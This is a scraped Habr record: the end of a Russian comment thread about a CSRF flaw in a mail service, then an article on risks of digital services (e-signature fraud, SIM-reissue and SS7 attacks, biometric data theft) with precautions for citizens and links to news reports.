пользовался, но 1 раз видел машину с установленным NoScript. Может, там было так настроено, но там он резал 99% всех скриптов, т.е. буквально на каждой странице приходилось разрешать javascript. Через 10 минут я устал от этого и запустил Хром.", "Главное успеть найти уязвимость, через которую вас подставили, до того как вас лишат компьютера и интернета на пару лет...", "Да я вроде постарался везде вычистить название компании...", "Многие из персональных межсетевых экранов и анонимизирующих proxy-серверов вырезают Referer, как потенциально небезопасный заголовок. Поэтому сервис может не работать у некоторых пользователей.", "1) «politics/7082376» из кода легко гулгится\n2) иконки из скриншотов с комментариями", "Вы действительно думаете что большинство пользователей что-то знают о дырах на сайтах и как их используют? Они знают, как зайти в почтовый ящик, знают, как сообщение на вконтакте отправить и все. И даже представления не имеют, что кто-то их может так подставить...\nА «Выход» зачастую жмется только для того чтобы в ваш аккаунт не залез тот, кто следующий сядет за компьютер", "Имеют. Ты когда регистрируешься на каком-нибудь сайте, всегда соглашаешься с правилами. А там много чего интересного пишут.", "`<сарказм>`\nНет, конечно стоит сажать в тюрьму за такое.\nВот мы сейчас зарядим в вашу винду троянчика, затунелимся через него и переведём себе денег со Василия Пупкиновича, а вы за нас посидите лет пять, ибо улики мы за собой уберём.\n`</сарказм>`", "Такое путешествие — приключение само по себе.", "Забанить педофила на педосайте?", "Вам этот педофил так сильно мешает? Забаньте его у себя в блоге.", "И сколько это будет стоить, и кому достанется право пилить собранное и закрывать нераспиленное?", "UFO just landed and posted this here", "UFO just landed and posted this here", "Буквально на днях одно обстоятельство заставило меня задуматься над одной вещью:\nНезакрытая вкладка веб-интерфейса той самой почты в интернет эксплойтере за пару часов создала аж полтора мегабайта паразитного ИСХОДЯЩЕГО (!!) GPRS-трафика.", "UFO just landed and posted this here", "Немного новым годом повеяло:\n> Этот год стал знаковым в области проблем информационной безопасности.\nЭтот год был трудным для нашей страны в интернетах.", "«В интернет эксплойтере» — это типа вы так Интернет Эксплорер опустили? :-D", "> т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана\nРассмешили честно говоря этой неделей. Когда я летом сообщил им (и не только им) о большом количестве CSRF, никто ничего не делал в течение 2х месяцев.", "Думаю, что у владельца того компьютера таких проблем не возникало — на всех часто посещаемых им (и безопасных) сайтах разрешения уже стояли.\nКроме того, NoScript не только скрипты запрещает — их можно глобально разрешить и оставить блокировку XSS, кликов в полузакрытый весёлыми картинками iframe и прочего.", "Вы переворачиваете с ног на голову. Если работает презумпция невиновности, это обвинение должно доказать, что уязвимостей на этом сайте или на компьютере пользователя нет. Иначе наличие вины подозреваемого они этим не докажут. А если презумпция не работает, или у суда некомпетентные/продажные эксперты, это лишь один из многих возможных сценариев экспуатации этой «уязвимости», лечить надо болезнь а не симптомы.\nИ да, в нормальном обществе проблемы говнокода — проблемы компании, а не её пользователей. А формулировка некорректная, что за «право» такое? Если их устраивают миллионные иски, пусть так и будет. А если исков и нет, чего им вообще чесаться-то?", "Они, похоже, так ничего и не сделали", "Плагин RequestPolicy для FF. Хотя не согласен с тем, что это проблема пользователя.", "NoScript по умолчанию включает параноидальную опции «мочить все, что не разрешено». Я предпочитаю включать опцию «Разрешать javascript с текущего домена второго уровня по умолчанию». И 99% НЕвредоносных скриптов работают без доп. телодвижений.", "Как мне кажется, схема настолько сложно реализуема и гипотетическая цель настолько не соответствует затратам, что вряд ли кто-то станет ее использовать. Есть и более простые способы анонимно постить комменты)", "Я недавно стал замечать тикание компьютера. Иногда делает так «тик-тик» каждую секунду. Сначала думал, что что-то обрабатывает, а потом заметил, что тикание идет только когда открыто мыло.ру, это каждую секунду идет синхронизация с почтовым сервером.", "=) Многие онлайн банкинги проверяют реферер. Часто еще видел что имена полей генерируют как вы хеш сгенерили.", "я только не понимаю, чем поможет токен? В чем проблема тем же JS-скриптом сначала вызвать страницу с этого ресурса (конечно, не называемого) с нужным токеном, заполнить нужные поля, а потом просто отослать форму на нужный адрес?\nПо-мойм это проблема пользователя, раз он заходит на сайты, на которых висят такие вот скрипты.", "Мне кажется ключевые слова здесь «часто посещаемых» «и безопасных». Речь идет о чертовски посещаемом и для многих «безопасном» бгмерзком ресурсе. Так что в данном случае Noscript ни как не поможет, так как рядовой пользователь добавит данный ресурс в исключение.", "Есть один момент. Если примем, что крупные компании не имеют права пренебрегать безопасностью пользователей, то встанет вопрос — как определить порог, после которого компания считается «крупной», а потом предотвратить вывод информационных ресурсов в мелкие дочерние компании для избежания ответственности за безопасность пользователей. И ведь не запретишь создавать дочерние компании и им не запретить владеть информационными ресурсами.", "Как вариант — может стоит немного доработать закон о персональных данных и применять его более широко и гибко? В данном случае это будет означать необходимость защитить сессию пользователя, раз он зарегистрировался и предоставил свои идентификационные данные, то сессию обмена данными с ним необходимо защищать. Такой вариант избавит от необходимости ранжировать компании. А если принять общероссийский стандарт защиты данных и сделать его доступным для использования, то принуждать к этому отдельные компании не придется.", "UFO just landed and posted this here", "Как я понял, в статье идет речь о том, что пользователь сам каким-то образом зашел на страницу злоумышленника:\n> Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт\nна которой, что логично, размещен тот самый код. И вот JS запрашивает нужную страницу со всеми необходимыми токенами пользователя, вставляет ее в свой iframe, заполняет поля и отправляет. Серверу крайне проблематично определить, исходил ли этот запрос от зловредного скрипта или от самого пользователя. Поэтому, мне кажется, первый шаг к противодействию — не заходить на такие сайты.", "habrahabr.ru/sandbox/36927/\nвот интересная заметка с размышлениями на эту тему", "На таких сайтах в шапке крупными буквами написано: «Осторожно, вредоносный скрипт в теле страницы!» :)", "Еще один вариант — это чтобы компании проводили среди своих программистов подобные лекции. Тогда бы люди лучше понимали какой код они пишут и к каким последствиям это может привести.", "примерно так :)\nно ведь в передаваемом запросе тому же серверу мыло.ру тоже нет переменной «badscript» => «true», а практически все заголовки можно подменить", "UFO just landed and posted this here", "UFO just landed and posted this here", "И отпадают все jquery на CDN?", "Ну это относительно небольшой whitelist.", "всякие сессионные токены — слишком сложно. если мы исходим из предположения, что нам достаточно передавать в форму что-то известное только данному пользователю, то это может быть всего-лишь хеш хеша пароля.", "Фишка тут md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');", "UFO just landed and posted this here", "А на форумах такое возможно? (CSRF)", "Да, им пофиг. И это как правило указано: «Мы — такие то, не несем НИКАКОЙ ответственности за ЛЮБЫЕ Ваши действия и последствия, которые могут возникнуть в результате Ваших действий и т. п.»\nПолучается правильным один вариант: не использовать продукты с такими формулировками О_о", "спасибо, доктор. теперь я тоже знаю, что это был за ресурс, хоть пост и почищен" ], "author": [ "sl_bug", "Andrey Malenkov (Malenkov)", "Miron Galiaskarov (Skora)", "Хомяков Евгений (WebResult)", "BasiL (AddRemover)", "Solver (solver)", "sl_bug", "sl_bug", "sl_bug", "Aleksander Alekseev (afiskon)", "Мария Алексеевна (maashaa)", "prophetz", "Дмитрий Петрик (Flexo)", "Уманский Леонид (splatt)", "Solver (solver)", "Solver (solver)", "Андрей Кузнецов (Bloodlettinger)", "{}", "{}", "{}", "Wott", "Chii", "Дмитрий (bogolt)", "Анатолий (taliban)", "Solver (solver)", "ComodoHacker", "Андрей (sylvio)", "ComodoHacker", "ComodoHacker", "Сундуков Алексей (alekciy)", "grdigger", "zerkms (zerkms)", "Уманский Леонид (splatt)", "я̷҉̧м̢̨и͡ ̷́͜е̸е̢͞щя̢҉̕о̶̕т҉с̸͟ан̶̢͡ (047)", "Денис (Doman)", "Денис (Doman)", "xenon (xenon)", "xenon (xenon)", "xenon (xenon)", "tegger (tegger)", "Zorkus", "Кирилл (KirillDE)", "Уманский Леонид (splatt)", "Алексей (Alex42rus)", "Дмитрий Петрик (Flexo)", "Дмитрий Петрик (Flexo)", "Andrey Malenkov (Malenkov)", "Дмитрий Петрик (Flexo)", "Кирилл (chkconf)", "Chii", "Nevkontakte (Nevkontakte)", "Delsian (Delsian)", "Chii", "Kindman (Kindman)", "{}", "{}", "Kindman (Kindman)", "{}", "Евгений Гетманенко (egetmanenko)", "Евгений Гетманенко (egetmanenko)", "Астафьев Антон (Graphite)", "Денис (1x1)", "yul", "Дмитрий Петрик (Flexo)", "J_o_k_e_R", "J_o_k_e_R", "Олег Климчук (stix)", "Niemand", "Анатолий (taliban)", "Niemand", "Алексей (Oligarh)", "Andrew Kambaroff (RaJa)", "Andrew Kambaroff (RaJa)", "{}", "Niemand", "BaHbka (BaHbka)", "Дмитрий Петрик (Flexo)", "Дмитрий Петрик (Flexo)", "Niemand", "{}", "{}", "DjOnline (DjOnline)", "tegger (tegger)", "Михаил (msfs11)", "noisiaman (senyai)", "{}", "Илья (Ilja)", "Read Only O_o (ananazzz)", "agathis (agathis)" ], "children": [ [ 4345623, 4347550 ], [ 4347066 ], [ 4346189 ], [ 4345816, 4345858, 4346866 ], [ 4346989 ], [ 4347057 ], [ 4347137 ], [ 4345868 ], [ 4346893 ], [ 4346263, 4346564, 4346646, 4346740 ], [], [], [], [ 4346648, 4347253 ], [ 4346767 ], [ 4346747, 4346926 ], [ 4346847 ], [], [ 4346855 ], [ 4346964 ], [], [ 4346966, 4347124 ], [ 4346970 ], [ 4347070, 4349091 ], [], [ 4346872 ], [], [ 4346873 ], [], [ 4346983, 4347075, 4347142 ], [], [], [ 4346986 ], [], [], [ 4346981, 4347089 ], [], [ 4347102 ], [], [ 4347006 ], [], [], [ 4347204, 4347259 ], [], [ 4347073 ], [ 4347308 ], [ 4349677 ], [], [ 4347183 ], [], [], [ 4347127 ], [], [], [ 4348476 ], [], [ 4347191, 4347304 ], [], [], [], [ 4347230 ], [ 4347410 ], [], [], [], [ 4348211 ], [], [], [], [ 4347457, 4349045 ], [], [], [], [ 4347519 ], [ 4347629, 4347662, 4347698 ], [], [ 4347653 ], [], [], [], [], [ 4348436 ], [], [], [], [], [], [], [] ] }
556,594
ru
https://habr.com/ru/post/556594/
Некоторые уязвимости цифрового общества
Цифровизация стремительно охватывает важнейшие сферы общественной жизни – от получения социальных услуг и оформления кредита до обмена квартиры или покупки автомобиля. Сейчас уже трудно представить жизнь без портала гос. услуг, мобильного банкинга или интернет-магазинов. Такие услуги стали возможными благодаря технологиям цифровой идентификации, скоростной мобильной связи, централизации баз данных государственных органов и конечно же модернизации нормативно-правовых регламентов. Но как и другие технологии они не лишены критических уязвимостей, от скорейшего устранения которых зависит защищенность и безопасность будущего цифрового общества. В отличие от классических уязвимостей, таких как heartbleed или meltdown, которые устраняются исправлением программного кода или обновлением прошивки аппаратного чипа, уязвимости цифровых услуг находятся на стыке инфраструктурных технологий, коммерческих программных продуктов, государственных цифровых платформ и нормативных регламентов, поэтому их выявление и устранение представляет собой гораздо более сложный процесс и зависит от инициативы и доброй воли всех заинтересованных сторон. Давайте попробуем рассмотреть некоторые уязвимости, которые могут создать прямой материальный ущерб для рядовых граждан – от потери денежных средств и имущества до кражи идентификатора личности и биометрического профиля. Ниже перечислены реальные сценарии и угрозы, собранные из открытых источников (в том числе на хабре), об эффективных мерах устранения которых пока известно очень мало. Disclaimer 1 - Источники материалов Статья не является оригинальным исследованием, а представляет собой компиляцию сведений из открытых источников, представляющих особый интерес в контексте массового распространения цифровых сервисов. Disclaimer 2 - Корректность ИБ терминов и формулировок Возможны некоторые вольности в интерпретации таких терминов как "выдать ЭЦП", "вектор атаки" или взаимосвязь протокола SS7 с современными GSM-сетям при условии сохранения общей сущности описываемых явлений. Disclaimer 3 - Без хейта и антирекламы Статья не направлена против какой-либо компании или оператора, описанные проблемы являются системными и затрагивают интересы всех участников цифровых услуг. Любые упоминания конкретных компаний приведены исключительно для предоставления фактологической подтверждающей информации. ## 1\. Мошенничество с электронными цифровыми подписями #### Предыстория Надежный способ идентификации личности онлайн является основой безопасной работы систем электронных услуг и цифровых сервисов. С этой целью еще в 1976 году американскими криптографами Уиттфилдом Диффи и Мартином Хеллманом было впервые предложено понятие “электронная цифровая подпись”, со временем получившее распространение во всем мире. А в 2011 году на заре массового внедрения цифровых гос. услуг в России был принят Федеральный Закон 63 об “Электронной подписи”, устанавливающий основные положения, порядок выдачи и наделение юридической силой документов, подписанных такой подписью. #### Риски Помимо прочего, законом регламентируется деятельность удостоверяющих центров (статья 13), наделенных полномочиями выдавать такие подписи. На сегодняшний день в России насчитывается более 500 таких центров, причем контроль за соблюдением правил выдачи возложен на сами эти центры. По причине слабого контроля за деятельностью удостоверяющих центров в сети стали известны факты недобросовестной выдачи подписей - например, ЭЦП могло быть оформлено не самим лицом, а его представителем и не лично, а предположительно путем отправки сканов удостоверяющего документа в удостоверяющий центр (см. статью "Мошенники и ЭЦП - все очень плохо" и комментарии). Как следствие, ответственность за проверку удостоверяющих личность документов размывалась между доверенным лицом, юридической конторой, оформляющей доверенность, и т.д. #### Описание угрозы Пользуясь таким пробелом в законодательстве, злоумышленники могли оформить подставной ЭЦП на другого человека и фактически получить полный контроль за собственностью жертвы - например пользуясь правом оформлять сделки с недвижимостью, переоформить квартиру жертвы через цепочку подставных лиц или наоборот оформить на жертву задолженность. Бороться с такой угрозой крайне сложно, поскольку ответственность за инвалидацию незаконного ЭЦП ложится полностью на пострадавшую сторону – гражданин должен самостоятельно обратиться в удостоверяющий центр чтобы инвалидировать ЭЦП, потом самостоятельно обратиться в регистрирующий орган чтобы отменить совершенную сделку или оспорить наложенный налог, и т.д. В случае с фиктивным налогом пострадавший должен так же сначала оплатить налог, после чего начинать длительную процедуру оспаривания в налоговом органе. Естественно, не каждый гражданин может иметь на руках сумму, необходимую для погашения фиктивного налога. #### Меры предосторожности Наиболее эффективной мерой предосторожности представляется наложение обременения на объекты недвижимости с целью запретить совершать любые сделки без личного присутствия заявителя. Такое заявление (о запрете сделок с недвижимостью без личного присутствия) можно подать в любом МФЦ. Кроме того, рекомендуется обратиться с аналогичным заявлением в налоговую (и другие учреждения?). Данный подход все же требует дополнительных разъяснений со стороны законодателей, поскольку в СМИ упоминалось, что наличие ЭЦП у злоумышленников может быть в некоторых случаях приравнено к личному присутствию. При обсуждении этой проблемы в СМИ гражданам рекомендуется регулярно проверять список своих объектов недвижимости на сайте налоговой службы и оперативно реагировать в случае исчезновения тех или иных объектов. Конечно, такой способ нельзя назвать мерой защиты, а скорее мерой обнаружения факта совершившегося мошенничества. Также, гражданам рекомендуется регулярно делать запросы в регистрирующие центры, чтобы проверить факт выдачи незаконных ЭЦП на их имя. Но учитывая большое число таких центров, трудно представить сколько времени потребуется на регулярную отправку более 500 заявлений в разные концы страны. #### Ссылки Мошенники переоформили квартиру в Москве с помощью поддельной цифровой подписи Мошенники и ЭЦП — всё очень плохо Квартиру украли в сети Cписок аккредитованных организаций (удостоверяющих центров) ## 2\. Мошенничество с мобильной связью #### Предыстория Нет смысла рассказывать о растущей роли SIM-карт в качестве инструмента идентификации граждан - принимаются законы о запрете серых SIM-карт, операторы связи настойчиво просят абонентов прийти в офис и подтвердить свою личность (в противном случае становится недоступна какая-нибудь полезная опция, например смс-оплата услуг и др.), банки активно продвигают услуги доступные только с мобильных устройств (например, активация системы быстрых платежей и регистрация самозанятости в одном из крупных банков доступна только в мобильном приложении, а на веб-сайте не реализована). #### Риски Ответственность за выпуск SIM-карт и привязке их к конечному пользователю лежит на операторах связи, а по факту на сотрудниках салонов сотовой связи. Количество офисов мобильной связи по всей стране крайне высоко, а на сотрудников таких офисов ложатся попутные обязанности по продаже мобильной техники, обслуживанию клиентов и многие другие, в салоне могут трудиться стажеры – несложно представить себе ситуацию, когда сотрудник может просто не заметить несоответствия в паспортных данных при поступлении запроса на перевыпуск карты. Получив дубликат сим-карты на другого человека, мошенники могут легко воспользоваться услугами онлайн-банкинга и перевести средства на подставной счет. Помимо организационных рисков, пользователи мобильной GSM-cвязи подвержены также технологическим атакам. В основе GSM-сетей используется протокол SS7 (Signaling System 7), задуманный еще задолго до массового распространения голосовой связи и мобильной электроники. Данный протокол плохо предусматривал какую-либо защиту персональных данных и не предназначался для массового использования, поэтому подвержен большому количеству уязвимостей. Не вдаваясь глубоко в детали, можно отметить наиболее критические для конечного пользователя – это подмена номера звонящего и перехват трафика. До сих пор непонятно какие технологии доступны злоумышленникам, как у них получается звонить или отправлять смс с номера 900 (именно девять-ноль-ноль, а не +7-900 или девять-буква О-буква О), насколько реальны атаки с использованием подставных базовых станций? На основе каких технологий работают сайты, предоставляющие услуги подмены номера, например такого типа? Так или иначе, атаки на GSM-сети создают безграничные сценарии и возможности социального инжиниринга – звонки от лица банков, налоговых органов, судебных приставов и пр. Потенциальный ущерб от таких действий также очевиден – потеря финансовых средств или собственности. #### Меры предосторожности Для борьбы с мошенничеством на основе перевыпуска SIM-карт у некоторых операторов существует возможность подключения дополнительных блокирующих услуг на стороне оператора – использование дополнительного пароля для всех операций или запрет на оказание услуг по доверенности. Про меры по борьбе с атаками на сами GSM-сети известно крайне мало, поскольку даже в самых современных моделях смартфонов используются те же самые принципы обмена сообщений на базе SS7, которые были заложены еще в первых моделях кнопочных телефонов. Устройство по сути является послушным терминалом, который по запросу базовой станции может отключить шифрование или осуществить другие операции. Остается только надеяться, что сотовые операторы осуществляют тщательный контроль и выявление серых терминальных устройств с своих сетях. #### Ссылки Мошенники звонят с реальных номеров налоговой и грозят тюремным сроком за неуплату Мошенники представляются сотрудниками Федеральной налоговой службы Мошенники в Удмуртии представляются судебными приставами Мошенники звонят с официальных номеров Деньги воруют через перевыпуск сим-карт Уязвимость в протоколе SS7 уже несколько лет используют для перехвата SMS и обхода двухфакторной аутентификации Перевыпуск сим-карты открыл доступ к чужим средствам Как защитить свои сим-карты от перевыпуска по фальшивой доверенности ## 3\. Мошенничество с биометрическими данными #### Предыстория На фоне растущей роли механизмов онлайн-идентификации биометрические технологии с первого взгляда выглядят как дополнительный рубеж защиты – кажется, что за счет расширения идентификационного профиля новыми признаками (голос, лицо, отпечатки, ДНК, и пр.) мы затрудняем процедуру взлома. Биометрические признаки обладают высокой степенью уникальности и не требуют запоминания. Но возникает необходимость защиты самих биометрических данных от копирования. Помимо этого, для широкого применения биометрический идентификации требуется создание единого депозитария биометрических данных, надежность которого опять же будет зависеть от добросовестности целого ряда учреждений и организаций, вовлеченных в процесс работы с такими данными. #### Описание угрозы Несмотря на все преимущества биометрической идентификации на практике уже продемонстрированы примеры копирования таких биометрических данных как отпечаток, форма лица, голос и др. А в новостях уже возникают сообщения о попытках злоумышленников осуществлять централизованный сбор таких биометрических данных, как голосовые профили абонентов - путем обзвона и записи ответов на типовые вопросы. Используя записанный голос абонента, например, в будущем мошенники смогут обратиться в банк по телефону, снять деньги через банкомат с функцией распознавания лиц или пройти на защищенный системой фото-идентификации объект за счет кошелька жертвы (метро, автобус, и пр.). #### Меры предосторожности Сформулировать меры предосторожности против кражи биометрических данных крайне сложно, поскольку количество векторов атаки постоянно растет, а цифровой след пользователей с каждым годом расширяется новыми данными - фотографии в социальных сетях, голосовые записи в мессенджерах и пр. Стоит проявлять особую бдительность в отношении контролируемого (с вашего согласия) и неконтролируемого распространения личных и биометрических данных. Желательно минимизировать использование личных данных при пользовании социальными сетями и онлайн-услугами, если это не является крайне необходимым (оформление скидочных и подарочных карт, регистрация профиля в интернет-магазинах, заказ доставки и пр.) Внимательно читайте пользовательские соглашения и дополнительные согласия при общении с сотрудниками банков, при установке мобильных приложений, при использовании сервисов гос. услуг и т.д. Зачастую, пользователи даже не знают о том, что согласились на передачу своих данных третьим лицам, например при установке каршеринг-приложения. Убедить всех пользователей читать пользовательские соглашения невозможно, но существуют порталы (например англоязычный Terms of Service - Didn't Read), где энтузиасты самостоятельно вычитывают и агрегируют краткие содержания пользовательских соглашений крупных социальных сетей, компаний и онлайн-сервисов. Наличие такого пункта как "Your biometric data is collected" около заголовка одной популярной иностранной социальной сети может стать аргументом при принятии решения о регистрации аккаунта. #### Ссылки Эксперты рассказали, для чего мошенники собирают записи голосов россиян Мошенники стали использовать голоса клиентов банков для получения кредитов В Сети продается биометрия и данные о кредитах клиентов Сбербанка ИИ может сымитировать голос любого человека Хакерам удалось скопировать отпечатки пальцев по фото Hackers Say They've Broken Face ID a Week After iPhone X Release #### Постскриптум Безусловно это далеко не исчерпывающий список угроз и он основан лишь на сведениях из открытых источников, но мы попытались рассмотреть наиболее приоритетные угрозы с точки зрения сложности их устранения, непосредственного ущерба для граждан и значимости в контексте всеобщей цифровизации услуг и сервисов. Стоит отметить так же, что перечисленные выше меры предосторожности являются лишь частичной защитой граждан от потенциальных рисков и никоим образом не являются решением самой проблемы уязвимости цифровых сервисов. Есть надежда, что массовость угрозы в какой-то момент привлечет более широкое внимание, общественную дискуссию и соответствующие законодательные поправки. Например, с 1 января 2021 года вступили в силу поправки в закон 63-ФЗ “Об электронной подписи”, ужесточающие регламент деятельности удостоверяющих центров (среди прочего, увеличивается сумма уставного капитала удостоверяющего центра с 7 млн. руб. до 1 млрд. рублей, для работников УЦ вводится уголовная ответственность за неисполнение обязанностей и пр.). По результатам опроса в 2020 году половина россиян не поддержала создание властями биометрической системы, а Госдума заморозила законопроект по сбору биометрии в банках. Тем не менее, учитывая стремительные темпы распространения цифровых технологий становится очевидным, что для безопасного и стабильного функционирования цифровых услуг, крайне важно не только бороться с фактами уже свершившихся цифровых преступлений, но и упреждать потенциальные угрозы еще до их возникновения. Безотносительно к партийным или политическим воззрениям, мы как профессиональное ИТ-сообщество можем принять в этом активное участие как общественный мозговой центр по выявлению, систематизации и подготовке предложений по устранению потенциальных угроз безопасному цифровому будущему. (%Неравнодушные_Хабрапользователи%, не хотите обсудить это?) Всем хороших праздников и безопасного интернета!
<div xmlns="http://www.w3.org/1999/xhtml"><p>Цифровизация стремительно охватывает важнейшие сферы общественной жизни – от получения социальных услуг и оформления кредита до обмена квартиры или покупки автомобиля. Сейчас уже трудно представить жизнь без портала гос. услуг, мобильного банкинга или интернет-магазинов. Такие услуги стали возможными благодаря технологиям цифровой идентификации, скоростной мобильной связи, централизации баз данных государственных органов и конечно же модернизации нормативно-правовых регламентов. Но как и другие технологии они не лишены критических уязвимостей, от скорейшего устранения которых зависит защищенность и безопасность будущего цифрового общества.</p><p>В отличие от классических уязвимостей, таких как <a href="https://ru.wikipedia.org/wiki/Heartbleed" rel="noopener noreferrer nofollow">heartbleed</a> или <a href="https://ru.wikipedia.org/wiki/Meltdown_(%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C)" rel="noopener noreferrer nofollow">meltdown</a>, которые устраняются исправлением программного кода или обновлением прошивки аппаратного чипа, уязвимости цифровых услуг находятся на стыке инфраструктурных технологий, коммерческих программных продуктов, государственных цифровых платформ и нормативных регламентов, поэтому их выявление и устранение представляет собой гораздо более сложный процесс и зависит от инициативы и доброй воли всех заинтересованных сторон.</p><p>Давайте попробуем рассмотреть некоторые уязвимости, которые могут создать прямой материальный ущерб для рядовых граждан – от потери денежных средств и имущества до кражи идентификатора личности и биометрического профиля.</p><p>Ниже перечислены реальные сценарии и угрозы, собранные из открытых источников (в том числе на хабре), об эффективных мерах устранения которых пока известно очень мало.</p><details class="spoiler"><summary>Disclaimer 1 - Источники материалов</summary><div class="spoiler__content"><p>Статья не является оригинальным исследованием, а представляет собой компиляцию сведений из открытых источников, представляющих особый интерес в контексте массового распространения цифровых сервисов.</p></div></details><details class="spoiler"><summary>Disclaimer 2 - Корректность ИБ терминов и формулировок</summary><div class="spoiler__content"><p>Возможны некоторые вольности в интерпретации таких терминов как "выдать ЭЦП", "вектор атаки" или взаимосвязь протокола SS7 с современными GSM-сетям при условии сохранения общей сущности описываемых явлений.</p></div></details><details class="spoiler"><summary>Disclaimer 3 - Без хейта и антирекламы</summary><div class="spoiler__content"><p>Статья не направлена против какой-либо компании или оператора, описанные проблемы являются системными и затрагивают интересы всех участников цифровых услуг. Любые упоминания конкретных компаний приведены исключительно для предоставления фактологической подтверждающей информации.</p></div></details><h2>1. Мошенничество с электронными цифровыми подписями</h2><h4>Предыстория</h4><p>Надежный способ идентификации личности онлайн является основой безопасной работы систем электронных услуг и цифровых сервисов. С этой целью еще в 1976 году американскими криптографами <a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%84%D1%84%D0%B8,_%D0%A3%D0%B8%D1%82%D1%84%D0%B8%D0%BB%D0%B4" rel="noopener noreferrer nofollow">Уиттфилдом Диффи</a> и <a href="https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD,_%D0%9C%D0%B0%D1%80%D1%82%D0%B8%D0%BD" rel="noopener noreferrer nofollow">Мартином Хеллманом</a> было впервые предложено понятие “<a href="https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%8C" rel="noopener noreferrer nofollow">электронная цифровая подпись</a>”, со временем получившее распространение во всем мире. А в 2011 году на заре массового внедрения цифровых гос. услуг в России был принят <a href="http://www.consultant.ru/document/cons_doc_LAW_112701/" rel="noopener noreferrer nofollow">Федеральный Закон 63</a> об “Электронной подписи”, устанавливающий основные положения, порядок выдачи и наделение юридической силой документов, подписанных такой подписью.</p><h4>Риски</h4><p>Помимо прочего, законом регламентируется деятельность удостоверяющих центров (<a href="http://www.consultant.ru/document/cons_doc_LAW_112701/acd401275b751194267f2627b21f13bdb2d3478f/" rel="noopener noreferrer nofollow">статья 13</a>), наделенных полномочиями выдавать такие подписи. На сегодняшний день в России насчитывается более <a href="https://digital.gov.ru/ru/activity/govservices/2/#section-list-of-accredited-organizations" rel="noopener noreferrer nofollow">500 таких центров</a>, причем контроль за соблюдением правил выдачи возложен на сами эти центры.</p><p>По причине слабого контроля за деятельностью удостоверяющих центров в сети стали известны факты недобросовестной выдачи подписей - например, ЭЦП могло быть оформлено не самим лицом, а его представителем и не лично, а предположительно путем отправки сканов удостоверяющего документа в удостоверяющий центр (см. статью "<a href="https://habr.com/ru/post/453596/" rel="noopener noreferrer nofollow">Мошенники и ЭЦП - все очень плохо</a>" и комментарии). Как следствие, ответственность за проверку удостоверяющих личность документов размывалась между доверенным лицом, юридической конторой, оформляющей доверенность, и т.д.</p><h4>Описание угрозы</h4><p>Пользуясь таким пробелом в законодательстве, злоумышленники могли оформить подставной ЭЦП на другого человека и фактически получить полный контроль за собственностью жертвы - например пользуясь правом оформлять сделки с недвижимостью, переоформить квартиру жертвы через цепочку подставных лиц или наоборот оформить на жертву задолженность.</p><p>Бороться с такой угрозой крайне сложно, поскольку ответственность за инвалидацию незаконного ЭЦП ложится полностью на пострадавшую сторону – гражданин должен самостоятельно обратиться в удостоверяющий центр чтобы инвалидировать ЭЦП, потом самостоятельно обратиться в регистрирующий орган чтобы отменить совершенную сделку или оспорить наложенный налог, и т.д. В случае с фиктивным налогом пострадавший должен так же сначала оплатить налог, после чего начинать длительную процедуру оспаривания в налоговом органе. Естественно, не каждый гражданин может иметь на руках сумму, необходимую для погашения фиктивного налога.</p><h4>Меры предосторожности</h4><p>Наиболее эффективной мерой предосторожности представляется наложение обременения на объекты недвижимости с целью запретить совершать любые сделки без личного присутствия заявителя. Такое заявление (<a href="https://rosreestr.gov.ru/site/press/news/zapretit-deystviya-s-nedvizhimostyu-bez-lichnogo-uchastiya-sobstvennika/" rel="noopener noreferrer nofollow">о запрете сделок с недвижимостью без личного присутствия</a>) можно подать в любом МФЦ. Кроме того, рекомендуется обратиться с аналогичным заявлением в налоговую (<em>и другие учреждения?</em>). Данный подход все же требует дополнительных разъяснений со стороны законодателей, поскольку в СМИ упоминалось, что наличие ЭЦП у злоумышленников может быть в некоторых случаях приравнено к личному присутствию.</p><p>При обсуждении этой проблемы в СМИ гражданам рекомендуется регулярно проверять список своих объектов недвижимости на сайте налоговой службы и оперативно реагировать в случае исчезновения тех или иных объектов. Конечно, такой способ нельзя назвать мерой защиты, а скорее мерой обнаружения факта совершившегося мошенничества.</p><p>Также, гражданам рекомендуется регулярно делать запросы в регистрирующие центры, чтобы проверить факт выдачи незаконных ЭЦП на их имя. Но учитывая большое число таких центров, трудно представить сколько времени потребуется на регулярную отправку более 500 заявлений в разные концы страны.</p><h4>Ссылки</h4><p><a href="https://habr.com/ru/news/t/452292/" rel="noopener noreferrer nofollow">Мошенники переоформили квартиру в Москве с помощью поддельной цифровой подписи</a></p><p><a href="https://m.habr.com/ru/post/453596/" rel="noopener noreferrer nofollow">Мошенники и ЭЦП — всё очень плохо</a></p><p><a href="https://rg.ru/2019/05/27/kak-cifrovaia-podpis-mozhet-ostavit-sobstvennikov-bez-zhilia.html%20" rel="noopener noreferrer nofollow">Квартиру украли в сети</a></p><p><a href="https://digital.gov.ru/ru/activity/govservices/2/#section-list-of-accredited-organizations" rel="noopener noreferrer nofollow">Cписок аккредитованных организаций (удостоверяющих центров)</a></p><h2>2. Мошенничество с мобильной связью</h2><h4>Предыстория</h4><p>Нет смысла рассказывать о растущей роли SIM-карт в качестве инструмента идентификации граждан - <a href="https://www.interfax.ru/russia/742598" rel="noopener noreferrer nofollow">принимаются законы о запрете серых SIM-карт</a>, операторы связи настойчиво просят абонентов прийти в офис и <a href="https://moskva.beeline.ru/customers/pomosh/bezopasnost/podtverzhdenie-personalnyh-dannyh/" rel="noopener noreferrer nofollow">подтвердить свою личность</a> (в противном случае становится недоступна какая-нибудь полезная опция, например <a href="https://moskva.beeline.ru/customers/products/mobile/services/details/mobilnyy-platezh/" rel="noopener noreferrer nofollow">смс-оплата услуг</a> и др.), банки активно продвигают услуги доступные только с мобильных устройств (например, <a href="https://www.sberbank.ru/ru/person/remittance/sbp" rel="noopener noreferrer nofollow">активация системы быстрых платежей</a> и <a 